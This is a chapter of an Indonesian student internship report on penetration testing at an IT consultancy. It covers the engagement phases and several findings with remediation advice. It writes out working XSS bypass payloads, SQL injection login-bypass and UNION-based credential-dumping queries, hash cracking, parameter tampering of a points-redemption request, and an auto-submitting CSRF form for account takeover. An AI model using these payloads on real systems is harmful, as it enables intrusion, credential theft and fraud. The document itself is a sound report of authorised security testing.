BAB III ANALISA DAN PEMBAHASAN
Transcript of BAB III ANALISA DAN PEMBAHASAN
Pordi IF - IT Telkom Purwokerto 16 NIM 14102019
BAB III
ANALISA DAN PEMBAHASAN
A. Pekerjaan/Kegiatan
PT. Mitra Integrasi Informatika (MII) merupakan anak perusahan dari
PT. Metrodata Electronics, Tbk yang didirikan pada pada tanggal 1 Maret
1996. Perusahan PT. Mitra Integrasi Informatika bergerak dibidang bisnis
digital TIK. Solusi yang ditawarkan oleh PT. Mitra Integrasi Informatika
adalah jasa konsultasi, infrastruktur serta manajemen services, integrasi sistem
dan implementasi Enterprise Resource Planning (ERP) dan manajemen TIK.
PT. Mitra Integrasi Informatika menawarkan layanan transformasi digital dan
solusi pada bidang cloud computing, enterprise mobility, business analytics
and big data, security infrastructure and network integration, business
application implementation, managed services dan consulting services. Pada
kesempatan praktik kerja lapangan ini, penulis berada pada bidang consulting
services. Pada bidang consulting services kemudian dipecah menjadi beberapa
pilar yang terdiri dari IT Risk Management, Information Security, IT
Governance, IT Strategic Plan, IT Service Management. Penulis berada pada
pilar information security. Pada pilar tersebut menawarkan solusi tentang
penetration testing dan security assessment.
Dalam melakukan security assessment terdapat tahapan-tahapan
pekerjaan yang harus dilakukan. Tahapan tersebut terdiri dari kick of meeting,
pentration testing, reporting, presentation, mitigation, verification, dan final
report..
Gambar 3. 1 Gambar urutan pekerjaan
Kick Of Meeting
Penetration Testing
Reporting Presentation
Mitigation Verification Final Report
17
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
1. Kick of Meeting
Pada tahap ini merupakan awal dari kegiatan suatu proyek.
Melakukan rapat dengan stakeholder yang terkait dengan proyek. Rapat
tersebut bertujuan untuk menyamakan tujuan proyek yang ingin dicapai
antara stakeholder yang terlibat dalam pelaksanaan proyek. Agenda yang
dibahas pada tahap awal biasanya membahas tentang ruang lingkup,
prosedur komunikasi, legalitas, perizinan, jadwal kegiatan, prosedur-
prosedur dan teknis pelaksanaan proyek yang akan berlangsung. Selain itu,
pada tahap ini seorang assesor menjelaskan metodologi yang akan
digunakan untuk melakukan penetration testing kepada pelanggan. Pada
tahap ini dapat digunakan untuk membahas objek apa saja yang perlu
dilakukan penetration testing dan permintaan hak akses untuk pengujian
dengan metode black box, grey box maupun white box. Pada tahap
pengujian menggunakan metode black box membutuhkan alamat IP address
atau URL objek yang akan dilakukan penetration testing. Pada tahap
pengujian menggunakan metode grey box membutuhkan masing-masing
dua akun yang memiliki level akses berbeda misalnya admin dan pengguna
biasa. Kemudian pada tahap white box membutuhkan akses untuk
berinteraksi dengan server secara langsung.
2. Kegiatan Penetration Testing
Dalam melakukan pengujian penetration testing penguji
menggunakan tiga metode pengujian yang terdiri dari black box testing,
grey box testing dan white box testing. Setiap metode memiliki sudut
pandang yang berbeda-beda. Penggunan tiga metode ini diharapkan dapat
untuk meminimalisir risiko serangan yang terjadi dari sisi internal maupun
eksternal.
Kemudian dalam melakukan kegiatan penetration testing, terbagi
menjadi tiga tahapan yang terdiri dari scope & plan, information gathering,
dan attack simulation. Setiap tahapan memilki perbedaan namun saling
terkait antara satu sama lain. Ketiga tahapan ini harus dilakukan untuk
mendapatkan hasil penetration testing yang baik.
18
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Gambar 3. 2 Gambar fase penetration testing
Pada tahap scope & plan, penguji menentukan ruang lingkup objek
apa saja yang akan dilakukan pada kegiatan penetration testing sesuai
perjanjian dalam proyek yang telah disepakati dengan stakeholder seperti
alamat IP maupun alamat URL. Kemudian pada tahap ini penguji perlu
menyusun rencana apa saja yang perlu dilakukan ketika melakukan
penetration testing mengacu pada objek yang akan diuji. Seperti
menentukan pengujian dilakukan dari jaringan eksternal atau melalui
jaringan internal.
Pada tahap information gathering, penguji melakukan pengumpulan
informasi tentang objek yang dijakan target penetration testing. Pada tahap
ini penguji melakukan reconnaissance secara aktif maupun secara pasif dan
melakukan scanning untuk mendapatkan informasi terkait objek yang
dijadikan target penetration testing. Pengumpulan informasi dapat
dilakukan menggunakan alat bantu otomatis seperti nmap, nessus, acunetix.
Hasil dari informasi terdiri dari informasi kerentanan yang terdapat pada
fitur tertentu, alamat IP, port yang terbuka dan informasi-informasi penting
lainnya yang dapat digunakan untuk melakukan simulasi serangan.
Pengujian secara manual perlu dilakukan untuk membutikan atau
memverfikasi temuan kelemahan yang didapatkan dari alat bantu.
Pada tahap attack simulation, penguji melakukan simulasi serangan
berdasarkan informasi yang telah ia dapatkan pada tahap sebelumnya. Pada
tahap ini perlu melakukan pengujian pada sisi aplikasi dan infrastruktur dari
objek yang dijakarkan target. Pengujian dilakukan pada kedua sisi untuk
mengidentifikasi kerentanan yang ada dan meminimalisir terjadinya risiko
yang ada.
Scope & Plan
Information Gathering
Attack Simulation
19
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Pengujian yang baik melihat segala risiko yang mungkin terjadi yang
dapat merugikan perusahaan. Terdapat tiga kompenan penting dalam
melakukan pengujian yang terdiri dari confidentiality, integrity dan
availability. Pengujian dilakukan menggunakan metode black box, grey box
dan white box. Pengujian dilakukan pada sisi aplikasi maupun infrastruktur.
Pengujian yang baik tidak hanya berdasarkan tools scanner, namun
dibuktikan dengan analisa dan pembuktian bahwa temuan tersebut berisiko
apabila diekspoitasi oleh attacker. Ketika melakukan pengujian tidak boleh
melakukan perusakan yang menyebabkan sistem crash dan tidak boleh
memodifikasi informasi yang tersimpan pada sistem tanpa seizin dari client.
3. Reporting
Tahap pembuatan laporan adalah tahap mendokumentasikan temuan-
temuan yang ditemukan pada tahap sebelumnya yaitu tahap penetration
testing. Laporan yang dibuat akan diberikan kepada client sebagai hasil dari
pekerjaan yang sebelumnya telah dilakukan. Penulisan laporan yang baik
tidak hanya menjelaskan secara teknis, namun perlu menjelaskan risiko,
status, dampak, rekomendasi dan referensi dari setiap temuan celah yang
ditemukan.
Setiap temuan di petakan menjadi empat tingkat risiko yang terdiri
dari low, medium, high, dan critical. Pada tingkat risiko low, temuan ini
mempunyai potesi kerugian yang rendah. Pada tingkat risiko medium,
temuan mempunyai potensi kerugian yang sedang. Tingkat risiko low dan
medium secara tidak langsung dapat berkompromi terhadap akses kedalam
aplikasi, sistem, perangkat jaringan. Jika dikombinasikan dengan informasi
lainnya maka akan mendapatkan wawasan tentang bagaimana untuk
mendapatkan hak akses tidak sah. Karena tidak berdampak secara langsung
sehingga menghasilkan potensi risiko yang kecil dan sedang. Pada tingkat
risiko high, temuan mempunyai potensi kerugian yang besar. Pada tingkat
risiko critical, temuan mempunyai potensi kerugian yang sangat besar.
Tingkat risiko high dan critical memungkinkan seorang attacker melakukan
akses dan berinteraksi secara langsung kedalam aplikasi, sistem, perangkat
20
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
jaringan secara tidak sah sehingga menghasilkan potensi risiko yang besar
dan sangat besar. Pemetaan risiko dapat memudahkan client dalam
pengambilan keputusan pada saat melakukan perbaikan dari celah-celah
yang telah ditemukan. Perbaikan yang baik harus mengutamakan perbaikan
yang risikonya paling tinggi ke risiko paling rendah.
Pada laporan yang baik perlu adanya status yang menjelaskan temuan
dari celah keamanan sudah ditutup atau masih terbuka. Ditutup artinya celah
keamanan tersebut sudah dimitigasi sedangkan terbuka artinya celah
tersebut masih belum ditangani dan belum ditutup. Setiap temuan celah
keamanan harus ditutup untuk mengantisipasi risiko yang ada.
Setiap temuan celah keamanan dijelaskan langkah demi langkah
secara jelas dan rinci disertai dengan screenshot sebagai bukti bahwa pada
aplikasi atau infrastruktur tersebut memiliki kerentanan yang dapat
dimanfaatkan oleh attacker. Hal ini perlu dilakukan untuk mempermudah
tim internal dari client apabila ingin melakukan pengecekan terhadap
temuan celah keamanan yang telah ditemukan.
Dalam penulisan laporan yang baik perlu memberikan dampak bisnis
yang akan terjadi apabila temuan celah tersebut tidak ditangani dan ditutup.
Setiap pelaporan dari celah keamanan perlu adanya rekomendasi untuk
menangani celah tersebut. Rekomendasi menjelaskan solusi yang tepat
untuk menutup dari celah tersebut. Sehingga memudahkan tim developer
untuk melakukan mitigasi pada setiap celah keamanan yang telah
ditemukan. Dalam laporan perlu adanya lampiran referensi bagaimana celah
tersebut dieksploitasi, referensi dampak bisnis yang terjadi. Berikut ini
merupakan contoh dari reporting yang baik.
Tabel 3. 1 Tabel Serangan XSS Pada Fitur Cari Produk
Reflected XSS Pada Fitur Cari Produk
Tingkat
Risiko
Medium
Status Open
21
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Target
URL
https://*sensor*/namatoko?tab=product&keyword=v
ulnerable. Pada parameter keyword.
Deskripsi Serangan XSS merupakan serangan dengan cara
menyuntikan script ke aplikasi web melalui parameter
yang rentan terhadap serangan XSS. Serangan ini
terjadi karena belum terdapatnya pernyaringan
terhadap special character yang dimasukan oleh
pengguna aplikasi. Pada situasi ini yang terjadi adalah
reflected XSS dimana script tidak tersimpan didalam
web aplikasi.
Dampak Melalui kerentanan ini seorang attacker dapat
memanfaatkannya untuk memanipulasi pengguna
aplikasi untuk mengunjungi halaman palsu untuk
mendapatkan informasi seperti username, password.
Kemudian melalui celah ini dapat digunakan untuk
memanipulasi pengguna agar melakukan download
suatu malware yang kemudian akan berjalan di
komputer korban.
Langkah-
Langkah
Pada pengujian XSS pada umumnya menggunakan
payload seperti <script>alert(“xss”);</script>,
payload tersebut apabila tereksekusi oleh sistem maka
akan menampilkan pop up pada browser. Dengan
tereksekusinya script tersebut maka dapat dipastikan,
pada fitur tersebut tidak terdapat pengecekan spesial
karakter dan tidak melakukan escape. Namun ketika
penulis mencoba payload tersebut pada fitur pencarian
produk tidak berhasil Karena terdapat pengecekan
untuk menghindari serangan ini. Untuk itu perlu
adanya suatu payload baru yang digunakan untuk
melewati pengecekan tersebut. Kemudian penulis
22
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
menggunakan payload ” style=”background:red”
onmouseover=”alert(document.domain)”><x=”
namun terfilter menjadi style=background:red x =.
Kemudian penulis mencoba melakukan bypassing
dengan mengganti Karakter lebih besar (>) dan lebih
kecil (<) dengan spasi “ “. Kemudian penulis membuat
payload menjadi seperti ini " style=”background:red;
“<onmouseover=”alert(document.domain)”<x=”.
Sehingga menghasilkan payload akhir adalah sebagai
berikut :
https://*sensor*/*sensor*?tab=product&keyword=
%22%20style=%E2%80%9Dbackground:red;%20%
E2%80%9C%3Conmouseover=%E2%80%9Dprom
pt(document.domain)%E2%80%9D%3Cx=%E2%8
0%9D
Gambar 3. 3 Gambar celah XSS
Rekomend
asi
Untuk mengantisipasi terjadinya serangan XSS perlu
adanya penyaringan special character dan memfilter
kata kunci seperti alert, prompt, confirm,
onmouseover, script dan keyword yang biasa
digunakan untuk melakukan serangan XSS.
Referensi https://www.owasp.org/index.php/Testing_for_Refle
cted_Cross_site_scripting_(OTG-INPVAL-001)
23
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
4. Presentation
Presentation merupakan bagian dari pekerjaan security assessment.
Presentation dilakukan didepan client dengan memapakarkan temuan-
temuan yang telah diidentifikasi pada tahap sebelumnya. Penyampain
presentasi yang baik memarkan informasi berdasarkan fakta yang terjadi.
Informasi yang disampaikan adalah temuan-temuan yang telah
teridentifikasi, dengan memamarkan nama temuan, risiko yang ada dan
dampak dari kelamahan tersebut apabila dapat dimanfaatkan oleh orang
yang tidak bertanggung jawab. Selain itu seorang presenter akan
memberikan solusi-solusi dari kendala tentang penangan temuan celah
keamanan yang baik.
5. Mitigation
Pada tahap mitigasi, penguji tidak melakukan kegiatan mitigasi secara
langsung, namun penguji membantu tim developer melalui pemberian
solusi dan referensi untuk memperbaiki celah keamanan yang ada. Tim
developer dari client akan memperbaiki temuan – temuan celah keamanan
yang telah teridentifikasi pada saat kegiatan penetration testing. Seorang
penguji akan menyarankan kepada tim developer untuk melakukan mitigasi
terhadap temuan celah keamanan yang mimiliki tingkat risiko yang paling
besar. Pada tahap mitigasi, penguji memberikan waktu untuk memerbaiki
sekitar dua minggu sampai satu bulan untuk memastikan semua celah
keamanan tersebut ditutup oleh tim developer.
6. Verification
Pada tahap verifikasi, penguji melakukan pengujian kembali temuan-
temuan celah keamanan yang telah diidentifikasi pada tahap penetration
testing. Pengujian dilakukan menggunakan cara yang sama seperti pada
temuan sebelumnya. Pada tahap verifikasi penguji memastikan temuan
celah keamanan sudah ditutup pada tahap mitigasi yang dilakukan oleh tim
developer. Temuan yang sudah ditutup akan mengalami perubahan status
dari open menjadi closed. Apabila pada tahap verifikasi menemukan temuan
yang belum ditutup, maka status temuan tetap open. Berikut ini merupakan
24
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
contoh dari temuan yang sudah diverifikasi dan status temuan menjadi
closed.
Tabel 3. 2 Tabel Verifikasi Serangan XSS Pada Cari Produk
Reflected XSS Pada Fitur Cari Produk
Tingkat
Risiko
Medium
Status Closed
Target
URL
https://*sensor*/namatoko?tab=product&keyword=v
ulnerable. Pada parameter keyword.
Deskripsi Serangan XSS merupakan serangan dengan cara
menyuntikan script ke aplikasi web melalui parameter
yang rentan terhadap serangan XSS. Serangan ini
terjadi karena belum terdapatnya pernyaringan
terhadap special character yang dimasukan oleh
pengguna aplikasi. Pada situasi ini yang terjadi adalah
reflected XSS dimana script tidak tersimpan didalam
web aplikasi.
Dampak Melalui kerentanan ini seorang attacker dapat
memanfaatkannya untuk memanipulasi pengguna
aplikasi untuk mengunjungi halaman palsu untuk
mendapatkan informasi seperti username, password.
Kemudian melalui celah ini dapat digunakan untuk
memanipulasi pengguna agar melakukan download
suatu malware yang kemudian akan berjalan di
komputer korban.
Langkah-
Langkah
Pada pengujian penetration testing, untuk
mengeksploitasi kerentan ini dengan membuat
payload " style=”background:red;
“<onmouseover=”alert(document.domain)”<x=”
25
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
yang dimasukan kedalam parameter. Sehingga
menghasilkan payload akhir adalah sebagai berikut :
https://*sensor*/*sensor*?tab=product&keyword=
%22%20style=%E2%80%9Dbackground:red;%20%
E2%80%9C%3Conmouseover=%E2%80%9Dprom
pt(document.domain)%E2%80%9D%3Cx=%E2%8
0%9D
Pengujian kembali dilakukan untuk memastikan
temuan celah diatas sudah diperbaiki pada tahap
mitigasi. Pengujian dilakukan dengan menyuntikan
payload " style=”background:red;
“<onmouseover=”alert(document.domain)”<x=”
yang dimasukan kedalam parameter. Sehingga
menghasilkan payload akhir adalah sebagai berikut :
https://*sensor*/*sensor*?tab=product&keyword=
%22%20style=%E2%80%9Dbackground:red;%20%
E2%80%9C%3Conmouseover=%E2%80%9Dprom
pt(document.domain)%E2%80%9D%3Cx=%E2%8
0%9D. Hasilnya payload tesebut tidak dapat
dieksekusi oleh browser sehingga temuan celah diatas
dinyatakan sudah ditutup.
Gambar 3. 4 Gambar celah XSS sudah ditutup
Rekomend
asi
Untuk mengantisipasi terjadinya serangan XSS perlu
adanya penyaringan special character dan memfilter
kata kunci seperti alert, prompt, confirm,
26
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
onmouseover, script dan keyword yang biasa
digunakan untuk melakukan serangan XSS.
Referensi https://www.owasp.org/index.php/Testing_for_Refle
cted_Cross_site_scripting_(OTG-INPVAL-001)
7. Final Report
Final report merupakan tahapan terakhir dari pekerjaan security
assessment. Final report akan diberikan kepada client. Final report
berisikan laporan penetration testing dan verifikasi dari temuan
vulnerability yang sudah dimitigasi dan belum dimitigasi.
B. Analisa dan Pembahasan Hasil Pekerjaan
1. SQL Injection Pada Fitur Login
SQL injection jenis serangan yang dapat digunakan oleh seorang
attacker untuk dapat berinteraksi dengan database aplikasi. Serangan ini
terjadi karena tidak adanya penyaringan spesial karakter pada parameter
masukan pada suatu aplikasi. Celah ini dapat diidentifikasi dengan
memasukan karakter single quote pada suatu parameter. Apabila
menghasilkan pesan error maka pada parameter tersebut dapat
dimanfaatkan untuk melakukan serangan SQL Injection. Melalui kerentanan
ini seorang attacker dapat memanfaatkannya untuk melihat, mengambil dan
memodifikasi seluruh informasi yang tersimpan di database secara ilegal.
Selain itu, melalui serangan ini dapat mengambil file yang tersimpan di
server.
Untuk melakukan pengujian ini, hal yang perlu dilakukan adalah
mencoba menginjeksi pada parameter username dan password dengan
query ‘OR 1 = 1 limit 1#. Setelah query tersebut dieksekusi oleh database
server, hasilnya akan dikembalikan ke aplikasi web yang mengakibatkan
otentifikasi terlewati. Hal ini disebabkan payload ‘OR 1 = 1 limit 1# akan
mengambalikan nilai true sehingga proses otorisasi terlewati.
27
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Gambar 3. 5Gambar bypass authentication dengan SQL Injection
Berikut ini merupakan tampilan halaman admin yang dapat dilewati
menggunakan pengujian SQL Injection bypass login.
Gambar 3. 6G Gambar berhasil login
Serangan ini menghasilkan nilai risiko yang tinggi, karena seorang
attacker dapat berinteraksi ke dashboard secara tidak sah. Attacker dapat
mengubah data apapun karena berada pada dashboard admin. Untuk
mengantisipasi terjadinya serangan ini perlu adanya penyaringan spesial
karakter pada parameter masukan baik pada method GET maupun method
POST. Untuk melakukan penyaringan pada bahasa pemrograman PHP,
sudah terdapat fungsi yang dapat digunakan untuk mencegah serangan ini
yaitu mysql_real_escape_string.
28
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
2. Blind SQL Injection Pada Fitur Pencarian
Blind SQL injecton merupakan jenis serangan yang dapat digunakan
oleh seorang attacker untuk dapat berinteraksi dengan database aplikasi.
Sedikit berbeda dengan SQL injection biasa, pada blind SQL injection tidak
menampilkan pesan error apabila dilakukan injeksi. Celah ini disebabkan
tidak adanya penyaringan spesial karakter pada parameter masukan pada
suatu aplikasi. Melalui kerentanan ini seorang attacker dapat
memanfaatkannya untuk melihat, mengambil dan memodifikasi seluruh
informasi yang tersimpan di database secara ilegal. Selain itu, melalui
serangan ini dapat mengambil file yang tersimpan di server. Untuk
melakukan pengujian sql injection dengan cara memberikan masukan single
quote (‘). Apbila menampilkan pesan error, maka pada parameter tersebut
mempunyai celah sql injection. Pada kasus ini, pesan error di non aktifkan
sehingga cukup menyulitkan untuk mengetahui parameter tersebut
mempunyai celah atau tidak.
Hal yang pertama dilakukan mencoba menginputkan payload Kartini’
namun tidak mendapatkan hasil apapun. Kemudian menggantinya dengan
mencoba memasukan payload Kartini'order+by+12--+-+ hasilnya
menampilkan film kartini.
Gambar 3. 7 Gambar pengujian blind SQL Injection
Namun ketika mencoba memasukan payload Kartini'order+by+13--+-+
hasilnya kembali tidak tampil. Berdasarkan percobaan diatas dapat
disimpulkan bawah kolom dari tabel film berjumlah 12. Hal ini terjadi
karena pada order by 12 masih menampilkan kartini, namun ketika pada
order by 13 tidak mendapatkan output kartini. Sehingga didapatkan rumus
13-1 menghasilkan 12, jadi jumlah kolom pada tabel yang digunakan
berjumlah 12. Kemudian langkah selanjutnya mencoba mencari magic
29
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
number untuk dieskploitasi lebih dalam menggunakan payload sebagai
berikut Kartini'union+all+select+1,2,3,4,5,6,7,8,9,10,11,12--+-+. Melalui
payload tersebut database akan merespon dengan keluaran berupa magic
number yang terdiri dari 3,5,9 dan 12. Magic number tersebut dapat
digunakan untuk tempat melakukan injeksi selanjutnya.
Gambar 3. 8 Gambar pengujian blind SQL Injection mendapatkan magic number
Selanjutnya yang perlu dilakukan adalah memilih salah satu magic
number, pada percobaan ini mencoba menggunakan magic number 3. Untuk
mendapatkan tabel yang terdapat pada database menggunakan payload
seperti berikut
Kartini'union+all+select+1,2,concat(table_name),4,5,6,7,8,9,10,11,12+fr
om+information_schema.tables+where+table_schema=database()--+-+
Apabila payload diatas dikirimkan dan dieksekusi oleh database maka akan
menampilkan informasi tabel apa saja yang terdapat pada database yang
saat ini sedang digunakan. Melalui payload diatas penulis mendapatkan
informasi yang terdiri dari tabel jam, kategori, konfirmasi, movie, pesan,
rekening, studio dan user.
30
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Gambar 3. 9 Gambar pengujian blind SQL Injection mendapatkan tabel
Untuk mendapatkan informasi login, biasanya informasi username
dan password disimpan pada tabel user. Karena asumsi dari penulis bahwa
informasi tersebut tersimpan di tabel user maka yang perlu dilakukan adalah
mencoba mendapatkan kolom yang terdapat pada tabel user menggunakan
payload sebagai berikut :
Kartini'union+all+select+1,2,group_concat(column_name),4,5,6,7,8,9,1
0,11,12+from+information_schema.columns+where+table_name=0x757
36572--+-+
0x75736572 adalah hasil hexadecimal dari user. Apabila payload diatas
dikirimkan dan dieksekusi oleh database maka akan merespon dengan
menampilkan informasi kolom yang terdapat pada tabel user. Melalui
payload diatas mendapatkan informasi kolom seperti username dan
password. Kolom tersebut menyimpan informasi untuk login ke sistem.
31
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Gambar 3. 10 Gambar pengujian blind SQL Injection mendapatkan field tabel user
Hal yang selanjutnya dilakukan adalah melakukan dumping data yang
terdapat pada kolom Username dan Password yang terdapat pada tabel user.
Dumping data berfungsi untuk mengambil isi dari informasi yang tersimpan
pada field tersebut. Sehingga mendapatkan informasi yang digunakan untuk
login ke sisitem aplikasi. Berikut ini merupakan payload yang digunakan
untuk melakukan dumping pada field Username dan Password.
Kartini'union+all+select+1,2,group_concat(Username,Password),4,5,6,7
,8,9,10,11,12+from+user+--+-+. Hasil dari eksekusi payload tersebut akan
menampilkan informasi username dan password yang dapat digunakan
untuk login ke sistem aplikasi.
Gambar 3. 11 Gambar pengujian blind SQL Injection mendapatkan username dan password
Selelah berhasil diambil, penulis mendapatkan informasi berupa
username dan password yang masih dalam keadaan hashing. Biasanya
hashing yang digunakan oleh programmer menggunakan MD5 atau SHA1.
Setelah mendapatkan password yang di hash kemudian melakukan cracking
32
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
menggunakan hashkiller yang dapat diakses pada halaman
https://hashkiller.co.uk/md5-decrypter.aspx, penulis mendapatkan
informasi password aslinya yaitu admin.
Gambar 3. 12 Gambar Cracking MD5 hash
Pada serangan diatas dapat disimpulkan bahwa seragan SQL Injection
dapat digunakan untuk mengambil data dari database secara tidak sah.
Serangan ini menghasilkan nilai risiko yang tinggi, karena seorang attacker
dapat mengambil data yang terdapat pada database secara tidak sah. Untuk
mengantisipasi terjadinya serangan ini perlu adanya penyaringan spesial
karakter pada parameter masukan baik pada method GET maupun method
POST. Untuk melakukan penyaringan pada bahasa pemrograman PHP,
sudah terdapat fungsi yang dapat digunakan untuk mencegah serangan ini
yaitu mysql_real_escape_string.
3. Memanipulasi Point Melalui Parameter Tampering
Parameter Tampering merupakan serangan yang digunakan oleh
seorang attacker untuk memodifikasi nilai suatu parameter ketika terjadi
proses pertukuaran informasi antara client dan server. Pada serangan ini
biasanya tidak adanya pengecekan nilai pada sisi server, sehingga dapat
dimanfaatkan untuk melakukan hal-hal ilegal seperti mencairkan point yang
jumlahnya tidak sesuai semestinya. Melalui kerentanan ini seorang attacker
dapat memanfaatkannya untuk mencairkan point yang tidak sesuai dengan
point yang ia miliki. Seorang attacker dapat mencairkan point sebanyak-
banyaknya walaupun ia tidak mempunyai saldo point yang cukup untuk
mencairkannya ke nominal uang.
Pada celah ini penulis memanfaatkan tidak adanya pengecekan pada
sisi server. Penulis mempunyai point sebanyak 8500 point apabila dicairkan
menghasilkan Rp. 212.500,00. Dari sini dapat dihitung 1 point
merepresentasikan 25 rupiah.
33
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Gambar 3. 13 Gambar pengujian parameter tampering
Untuk mengetahui parameter apa saja yang dikirimkan perlu adanya
intercept request. Melalui bantuan tool seperti BurpSuite dapat diguanakan
melakukan intercept dan mendapatkan parameter apa saja yang akan
dikirimkan ke server.
Gambar 3. 14 Gambar memodifikasi nilai dari parameter
Penulis mencoba memodifikasi nilaipada parameter pepe_point,
total_point_idr_value, dan redeem_point. Hal ini dilakukan pengujian
34
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
apakah parameter tersebut rentan terhadap serangan parameter tampering
atau tidak. Penulis mencoba memanipulasi pepe_point yang awalnya 8500
menjadi 85000, total_point_idr_value yang awalnya 212500 menjadi
2012500 dan redeem_point yang awalnya 8000 menjadi 80000.
Gambar 3. 15 Gambar hasil modifikasi
Ketika request hasil manipulasi tadi dikirim dan diproses oleh aplikasi
hasilnya adalah poin berhasil ditukarkan yang awalnya 200 ribu namun
menghasilkan nilai hasil manipulasi yaitu 2 juta rupiah.
Gambar 3. 16 Gambar hasil akhir pengujian parameter tampering
35
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Pada kasus ini dapat disimpulkan bahwa parameter pepe_point,
total_point_idr_value, dan redeem_point rentan terhadap serangan
parameter tampering. Serangan ini menghasilkan nilai risiko yang tinggi,
karena seorang attacker dapat memanipulasi jumlah point dan uang yang
ingin ia cairkan yang berdampak pada kerugian finansial perusahaan. Untuk
mengantisipasi terjadinya serangan ini perlu adanya pengecekan pada
parameter pepe_point, total_point_idr_value, dan redeem_point di sisi
server dengan membandingkan nilai yang dimasukan oleh pengguna
dengan data yang tersimpan pada database. Sehingga apabila terjadi
manipulasi pada sisi client, dapat dicegah melalui cara ini.
4. Mengambil Alih Akun Pengguna Lain dengan CSRF
CSRF (Cross Site Request Forgery) merupakan jenis serangan yang
terjadi karena tidak adanya unique token yang melindungi pada setiap
perubahan data yang dilakukan oleh pengguna. Melalui kerentanan ini
seorang attacker dapat memanfaatkannya untuk memaksa pengguna lain
mengganti email yang terdapat pada aplikasi dengan hanya mengirimkan
URL ataupun file HTML yang didalamnya terdapat suatu script untuk
melakukan proses perbuahan email. Apabila URL atau file HTML tersebut
dibuka oleh pengguna, maka email beganti secara otomatis. Sehingga dapat
digunakan oleh attacker untuk mengambil akun korban melalui reset
password dengan memanfaatkan email yang sudah terganti.
Untuk langkah awal hal yang perlu dilakukan adalah mencoba
melakukan analisa permintaan ubah email dengan melakukan intercept
melalui burpsuite.
Gambar 3. 17 Gambar hasil akhir pengujian CSRF
36
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Kerentanan terdapat pada permintaan ubah email. Terdapat dua kerentanan
yang dapat dimanfaatkan melalui cara ini yaitu tidak adanya unique token
dan tidak adanya pengecekan email sebelumnya yang digunakan oleh user.
Unique token digunakan untuk melindungi user pada setiap melakukan
permintaan agar terhindar dari serangan CSRF. Kemudian pada parameter
email yang dikirimakan boleh kosong, dengan begitu dapat disimpulkan
disisi server tidak ada pengecekan apakah email ini terdaftar atau tidak.
Karena parameter email boleh kosong maka memudahkan attacker untuk
melakukan serangan. Karena attacker tidak perlu menebak nebak email
yang digunakan oleh korban. Untuk melakukan pengujian CSRF, perlu
membuat script untuk digunakan sebagai tool dalam melakukan eksploitasi.
Berikut ini merupakan script yang penulis buat untuk melakukan pengujian
CSRF.
<html>
<body>
<body onload="setTimeout(function() { document.myform.submit() },
1000)">
<form name="myform" action="https://sensor/user/editemail"
method="POST">
<input type="hidden" name="email" value=""/>
<input type="hidden" name="new_email"
value="[email protected]"/>
</form>
</body>
</html>
Kemudian ketika halaman yang mengandung script diatas diakses
oleh korban, maka secara tidak disadari mengganti email secara paksa.
Apabila halaman tersebut diakses maka akan melakukan eksekusi seperti
pada gambar dibawah ini
Gambar 3. 18 Gambar hasil eksekusi script exploit CSRF
37
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Karena email merupakan hal yang vital yang dapat digunakan untuk
melakukan login maka serangan dapat dikembangkan menjadi mengambil
alih akun melalui lupa password. Ketika email sudah terganti maka hal yang
peru dilakukan adalah melakukan lupa password yang dilakukan oleh
attacker.
Gambar 3. 19 Gambar permintaan reset password
Secara otomatis attacker akan mendapatkan informasi URL untuk
melakukan pengaturan password baru melalui email.
Gambar 3. 20 Gambar reset password
Setelah itu attacker dapat mengambil alih akun korban dengan mengganti
password melalui form reset password yang telah tersedia.
Gambar 3. 21 Gambar buat password baru
38
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Serangan ini menghasilkan nilai risiko yang tinggi, karena seorang
attacker dapat mengambil alih pengguna lain dengan cara mengirimkan file.
Untuk mengantisipasi terjadinya serangan CSRF, perlu adanya unique token
untuk melindungi pengguna ketika melakukan perubahan dan permintaan
data. Adanya unique token membuat serangan ini tidak akan dapat bekerja,
karena setiap permintaan memiliki token yang berbeda. Sehingga apabila
korban membuka URL atau file HTML yang telah disisipkan script untuk
merubah email hasilnya tidak valid karena didalamnya tidak mengandung
unique token yang cocok dengan unique token yang tersimpan pada server.
Selain itu perlu adanya pengecekan menggunakan password apabila terjadi
perubahan data rahasia seperti email.
5. Insecure Direct Object References Pada Fitur Code Booking
IDOR (Insecure Direct Object References) merupakan kerentanan
yang terjadi pada suatu objek. Kerentanan terdapat pada parameter userID.
